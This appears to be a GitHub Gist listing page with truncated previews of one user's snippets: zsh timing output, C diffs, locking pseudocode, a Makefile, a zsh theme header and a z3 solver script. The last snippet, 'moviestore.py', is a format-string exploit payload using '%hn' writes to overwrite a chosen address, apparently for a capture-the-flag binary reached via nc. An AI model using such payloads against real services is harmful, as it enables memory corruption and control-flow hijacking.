Skip to content

Instantly share code, notes, and snippets.

-bash-4.2$ zsh
1372804922.4544186592 ~/.zshenv begin
1372804922.4672951698 ~/.zshenv end
1372804923.7818441391 .zshrc begin
1372804925.4863743782 Finished loading zprezto
1372804925.4869053364 .zshrc end
diff --git a/src/bench_cuckoo.cc b/src/bench_cuckoo.cc
index cac4f27..64014f0 100644
--- a/src/bench_cuckoo.cc
+++ b/src/bench_cuckoo.cc
@@ -70,7 +70,9 @@ void* exec_thread(void* p) {
tp->hits = 0;
tp->gets = 0;
tp->puts = 0;
+#ifdef __linux__
tp->cpu = sched_getcpu();
@awreece
awreece / delete.c
Last active December 19, 2015 01:19
increment_version() // Block all incoming readers.
while (num_readers() != 0) {} // Wait for all current readers to finish.
old_val = val
val = NULL
increment_version() // Allow readers again.
if old_val->refcount == 1
# My pseudocode always looks like python.
lock_index = get_lock_index(hash_table_index)
if lock_index < find_first_set(lock_bitvector):
for bit_index set in lock_bitvector:
locks[bit_index].unlock()
lock(locks[lock_index])
for bit_index set in lock_bitvector:
locks[bit_index].lock()
else:
#!/usr/bin/python
import unicodedata
import sys
reload(sys).setdefaultencoding("utf8")
s = 'u'
for i in xrange(1, 3000):
if unicodedata.category(unichr(i)) == 'Mn':
diff --git a/engines/default_engine/default_engine.c b/engines/default_engine/default_engine.c
index e877ecc..89e694b 100644
--- a/engines/default_engine/default_engine.c
+++ b/engines/default_engine/default_engine.c
@@ -878,16 +878,17 @@ static TAP_ITERATOR default_get_tap_iterator(ENGINE_HANDLE* handle,
static void default_handle_disconnect(const void *cookie,
ENGINE_EVENT_TYPE type,
const void *event_data,
const void *cb_data) {
@awreece
awreece / Makefile
Last active December 18, 2015 11:59
pretty: $(SRCS)
@# Check to make sure we have the proper version of indent.
$(if $(findstring GNU,$(shell indent --version 2>/dev/null)),, $(error Install GNU indent))
@echo "Running GNU indent on source files"
@# Note - If we have any typedefs, we need to explicitly tell indent
@# about our typedefs via
@# -T type_t
@indent \
-T solution_t \
# A clean zsh theme for oh-my-zsh.
#
# This theme has a minimal left hand prompt and a simple right hand prompt that
# displays meaningful information when relevant (see below for full details).
#
# In addition, it will show the execution time and exit status of the last
# command executed and will notify (on mac os x) when the last command
# completed but the terminal does not focus.
#
# Some behavior can be controlled with variables below.
#!/usr/bin/python
from z3 import *
data = [ord(c) for c in "".join([
"\x00\x3F\x60\xFF\x7F\x5F\xFF\x5F\x7F\xFF\x7E\x5E\xFF\x7E\x7F\x7F",
"\x5E\x7E\xFF\x7D\x5D\xFF\x7D\x7E\x7E\x5D\x7D\xFF\x7C\x5C\xFF\x7C",
"\x7D\x7D\x5C\x7C\xFF\x7B\x5B\xFF\x7B\x7C\x7C\x5B\x7B\xFF\x7A\x5A",
"\xFF\x7A\x7B\x7B\x5A\x7A\xFF\x79\x59\xFF\x79\x7A\x7A\x59\x79\xFF",
"\x78\x58\xFF\x78\x79\x79\x58\x78\xFF\x77\x57\xFF\x77\x78\x78\x57",
#!/usr/bin/python
# Usage: ./moviestore.py | ./movies
# Usage: ./moviestore.py | nc <host> <port>
# s = "AAAABBBB%00000x%5$hp%0000x%6$hp"
s = "\x56\xf1\x04\x08\x54\xf1\x04\x08%02044x%5$hn%35315x%6$hn"
# Want to write value 080491F7
# to 804F154